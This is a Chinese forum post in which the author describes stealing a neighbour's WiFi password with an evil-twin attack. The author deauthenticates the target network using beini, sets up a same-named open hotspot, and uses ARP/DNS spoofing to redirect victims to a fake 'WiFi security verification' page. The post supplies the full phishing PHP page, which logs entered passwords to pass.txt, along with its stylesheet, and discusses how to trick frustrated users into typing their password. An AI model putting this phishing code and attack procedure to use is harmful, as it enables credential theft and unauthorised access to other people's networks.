少尉
- 注册时间
- 2011-2-28
- 金币
- 234 个
- 威望
- 0 个
- 荣誉
- 0 个
累计签到:18 天 连续签到:1 天 [LV.20]漫游旅程
|
本帖最后由 can20meng 于 2015-8-26 14:02 编辑
前几天家里断网了,只好想办法蹭蹭隔壁的网,可是对方密码太强了,只好想了这招来钓取WIFI密码。
利用beini给对方的wifi(下面简称:awifi)断网,建立同名wifi(下面简称bwifi:),bwifi中使用arp dns欺骗使用户访问的网址自动跳转到我们事先布置好的页面(所谓的"wifi安全验证"),来钓取wifi密码。
示意图:
1.首先我们要搭建好web服务器(我这里使用的是win7_32+apache,直接使用了xampp快速搭建)
2.下面附上我自己写的钓鱼php,为了适应手机界面我引入了‘bootstrap.min.css’这个在网上可以下到
文件存放到htdocs文件夹下
| <!DOCTYPE html> <html> <head> <meta charset="gb2312"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>WIFI安全验证</title> <link href="bootstrap.min.css" rel="stylesheet"> <link href="signin.css" rel="stylesheet"> </head> <body> <?php $pass = @$_POST['password']; if(strlen($pass)>7){ $path='pass.txt'; $f=fopen($path,'a'); fwrite($f,$pass."\r\n"); fclose($f); } ?> <div class="container"> <form class="form-signin" action="index.php" method="post"> <h3 class="form-signin-heading">请输入WIFI密码</h3> <label for="inputPassword" class="sr-only">Password</label> <input type="password" id="password" name="password" class="form-control" placeholder="WIFI 密码" required> <div class="checkbox"> <label> <input type="checkbox" value="remember-me"> 记住密码 </label> <x style="color: #9d9d9d">忘记密码</x> </div> <button class="btn btn-lg btn-primary btn-block" type="submit">登陆 WIFI</button> </form> </div> </body> </html>
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
| body {
padding-top: 40px;
padding-bottom: 40px;
background-color: #eee;
}
.form-signin {
max-width: 330px;
padding: 15px;
margin: 0 auto;
}
.form-signin .form-signin-heading,
.form-signin .checkbox {
margin-bottom: 10px;
}
.form-signin .checkbox {
font-weight: normal;
}
.form-signin .form-control {
position: relative;
height: auto;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
padding: 10px;
font-size: 16px;
}
.form-signin .form-control:focus {
z-index: 2;
}
.form-signin input[type="email"] {
margin-bottom: -1px;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0;
}
.form-signin input[type="password"] {
margin-bottom: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
}
|
3.之后呢还需要新建一个pass.txt的文本文档用来接收钓到的密码
目录结构如下
4.在电脑上新建一个同名不加密wifi热点
5.arp dns欺骗跳转(这里就不详细说了网上有很多)
6.打开另一个电脑(beini系统)给对方的wifi进行断网攻击
下面就坐等收密码啦,密码获取到后会在pass.txt中
【最后一张图来源于网络】
有人说之前他钓不到鱼,所以我说使用wifi同名伪装,会使手机只能显示出一个wifi,也就是信号好的wifi,这样连上后,打开页面提示是“wifi安全验证”(的障眼法),如果你一直连不上自家的wifi上不了网(其实是你一直在用beini给他断网,beini的断网攻击不需要连接上需要攻击的wifi,它其实是伪造用户给wifi服务端发送了一个断开wifi的请求包),是不是蛮愿意尝试登陆一下这个“wifi安全验证”的呢。“说不定验证一下就可以上网了呢”,就算骗不了一个人,可是两个呢,三个呢,只要他们知道密码 肯定愿意来一试,谁管你是不是在钓鱼,人家只想上个网。
有人说使用随身wifi+虚拟机使用一台电脑来完成,以下是我的回复:
这个我有想过,随身wifi是可以减小工作量,而且有了随身wifi可以不用使用arp劫持,但是..........我是穷逼undefined我买不起 就算有了随身wifi应该也大可能一个电脑实现。首先,断网攻击是否是要在未连接任何wifi的情况下进行,如果是,那么既然物理机和虚拟机公用同一网卡恐怕不能一边释放wifi一边攻击。如果给物理机和虚拟机单独分配网卡,随身wifi分配给物理机,物理机自带无线网卡分配给虚拟机,或许可行。你可以尝试一下。我穷逼。。。买不起网卡,我现在还用这08年买的lenovo v470。。。而且硬盘之前还坏了,没钱换就换了个180块钱的,转速超慢。我就不想说什么了。。。
|
|